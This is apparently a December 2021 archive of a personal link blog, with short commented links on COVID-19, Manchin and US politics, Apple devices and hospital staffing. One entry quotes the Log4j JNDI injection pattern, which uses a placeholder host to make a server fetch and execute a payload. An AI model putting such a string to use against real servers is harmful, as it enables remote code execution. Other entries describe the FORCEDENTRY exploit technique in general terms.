Link. Alt theory “boosted by other election fraud conspiracists like former New Mexico State University professor David Clements, and Overstock.com founder Patrick Byrne.”
Monthly Archives: December 2021
“If industrialization is a process of learning to walk before you learn to run, … Jamaica was born with a fancy aluminum wheelchair.”
Link. Great discussion on economic development.
“Manchin made specific claims about its climate provisions. None hold up under scrutiny, but they appear to reflect arguments coming from the industry.”
Link.
MN surplus more than $7.7 billion.
Link. $8.98 billion. So much we got rid of several gimmicks.
“The government moved to conserve sotrovimab when early analysis of omicron’s mutations suggested the drug might hold up against the variant”
Link. All we got for monoclonal rx now.
“the harmonized measures used by the OECD put us at 21.2% (a fifth of all our kids!) living in poverty in 2018, compared to 12.4% in the UK, 11.8% in Canada, and just 8.3% in Ireland”
Link. Manchin opposes.
CDC crisis strategies: “as a last resort consider allowing HCP with suspected or confirmed SARS-CoV-2 infection who are well enough and willing to work but have not met all Return to Work Criteria to work.”
Link. It’s way down list but good chance we get there in next 2-3 weeks.
“Biden specifically instructed them to add that if Manchin stood by his comments, he had violated his word to the President.”
Link. Manchin is without honor.
Destination Cross country resort-class trails within five hours of Minneapolis St. Paul (MSP) – 2010
Link. Of course I forgot I wrote this, but it’s still a great reference. Blogs were great. The young don’t know what they are missing.
CDC: “removing references to face coverings and suggestions to suspend choirs, for example, in order to avoid offending faith communities”
Link. In this one case I’m oddly sympathetic to the Trump administration. American religions tend towards rage and craziness.
“all the miscellaneous felonies — burglaries, robberies, assaults, you name it. None of them have gone to trial since March of 2020”
Link. Carjackings.
“if you provide your iPhone’s passcode to a tech, they also get your keychain if you have iCloud Keychain turned on”
Link. Same problem on Mac. Needs fix urgently.
Apple Music kind of sucks.
Link. For a time iTunes and iPod were brilliant.
FORCEDENTRY “Rather than completely encoding the entire difference in one go, it can be done in steps, with each iteration using a logical operator (one of AND, OR, XOR or XNOR) to set, clear or flip bits.”
Link. Hello Turing.
“In just the second round, the $1,000 iPhone 13 Pro was beaten by Google’s $399 Pixel 5a.”
Link. Apple stayed too long with 12mpix
Oh My Fucking God, Get the Fucking Vaccine Already, You Fucking Fucks
Link. A classic. Shared by one who knows.
“Apple temporarily closed its stores in Miami, Maryland, and Ottawa as a response to the recent increase in the number of COVID-19 cases.”
Link. The Ottawa closure impacted me when I was buying a phone for my sister.
Smartphones ‘a tax on the poor’.
Link. Absolutely. Also on cognitively limited, but they are invariably also poor (by necessity if receiving SSDI).
A huge issue widely ignored.
“JBIG2 doesn’t have scripting capabilities, but when combined with a vulnerability, it does have the ability to emulate circuits of arbitrary logic gates operating on arbitrary memory. So why not just use that to build your own computer architecture and
Link. Turing machines are everywhere.
“Based on our analysis, the sensitivity and specificity of our tests, including our BinaxNOW rapid antigen tests, are not impacted by the Delta variant.”
Link. Hopeful news.
Stop carriers from selling your data. Maybe.
Link. AT&T: https://bit.ly/3q7LnwC
I could disable most for my family but their big revenue earner showed error message when I tried to disable. I’m sure they will fix that ASAP.
“Speed cameras are a part of the reason Europe’s roads are now much safer than America’s; a 2010 literature review found crashes resulting in death or serious injury fell between 17 and 58 percent where cameras were installed.”
Link. Quebec has them.
“U.S. hospitals almost always run close to the edge of capacity.”
Link. “Five people died that day and that’s what saved us”
Medicine has a supply chain/just-in-time hyper-efficiency problem. We are stressed in good times and in bad times we break.
“The Cleveland Clinic, HCA Healthcare and Intermountain Healthcare, among others, have said they are no longer requiring employees to be vaccinated”
Link. “About 40 percent of the nation’s hospitals mandated vaccinations”.
A handy guide to quality institutions.
“Carlson Travel expects to lose $15 million on revenue of $701 million next year, a substantial downturn from 2019, when Carlson Travel earned $239 million on $1.5 billion in revenue, court records show.”
Link. World remade.
Family sharing screen time bug: a fix for ghost apps
Link. Remove from family then restore. First screen time bug I’ve ever fixed. (There are so many.)
“Apple Maps whether or not a place requires a vaccination passport, PCR test, or mask wearing indoors.”
Link. All of these are rare in MSP now.
FEMA: “December tornadoes are part of ‘new normal’ caused by climate change.”
Link. Red states have been less impacted by direct warming, but they are impacted by this.
HKUMed finds Omicron SARS-CoV-2 can infect faster and better than Delta in human bronchus but with less severe infection in lung
Link. Tissue behavior of Omicron. More bronchus, less lung.
“Cheney took the fight directly to Trump with her accusation of “dereliction of duty.”
Link. She is not a good person, but she is formidable.
“In macOS Monterey, the Live Text feature works in the Photos app, Safari, Quick Look, and the Screenshot interface.”
Link. First useful feature in a while.
Log4j: “all the attacker has to do is send a request along the lines of ${jndi:ldap://[address]/[payload file]} for the payload file to be executed in the context of the server’s Log4j logging system.”
Link. Happily is only bug like this.
Erase locked iPhone if you know your AppleID password.
Link. Was always possible with DFU.
48MP iPhone 14 camera.
Link. Samsung already does this. Apple has fallen behind.
“Magic Eraser even automatically detects fingers in iPhone/iPad scans”
Link. Scanner Pro. How do we know these features exist? Not seen on my iPhone 8.
iPad Needs a Better Oleophobic Coating
Link. “I would gladly forego Apple Pencil support to get a better coating.”
“This feature is most useful if you’re buying a used device. You can now easily tell if someone bought a broken iPhone and fixed it up with cheap parts”
Link. Parts and service history.
Nirmatrelvir for SARS-CoV-2.
Link. Good drug for high risk (unvaccinated) until resistance develops.
Early dark energy: “new physics looks like it occurred during the first ~400,000 years of the hot Big Bang, and could have taken the form of one form of “energy” transitioning into another”
Link. What 3 sigma physics is consistent with the Hubble constant gap?
“Mr. Meadows sent an email to an individual about the events on January 6 and said that the National Guard would be present to ‘protect pro Trump people’ and that many more would be available on standby.”
Link.
Threat detection: “Black students are 1.3 times more likely than White students to be referred, and special education students are 3.9 times more likely than the general student body to be referred.”
Link. Might be false positive, might be accurate. I expect a bias to false positives though. An investigation may also trigger a violent response.
“At times, we were 15 people in the small hole there; if they would find us, they would shoot all of us. We had situations like that for the whole two years.”
Link. Be like Jack.
Bitsquatting.
Link. Large numbers.
How to survive America’s defective constitution.
Link. Practical advice.
“I’ve taught A.P. social studies and geography for 21 years so there’s not much that makes me uncomfortable,” she said. “This law is so vague that it strikes me as much ado about nothing.”
Link. It’s all about guilt.
MN LTC and acute care staffing: lessons.
Link. 1. Long term care of demented is a horrible business.
2. Health care during long pandemics requires big subsidies and alternative hiring strategies.
Physical Therapist Warm-Up for lifting weights.
Link.
“Omicron is spreading in highly immune populations as quickly as the original virus did in populations with no immunity at all.”
Link. Even if half the case-hospitalization risk of Delta this would be another blow for the stressed healthcare system.
Which Twin Cities restaurants require proof of vaccination?
Link. Eating there.
“one of the most optimistic tech trends — the shift to remote work — might not be panning out as hoped”
Link. I expected that.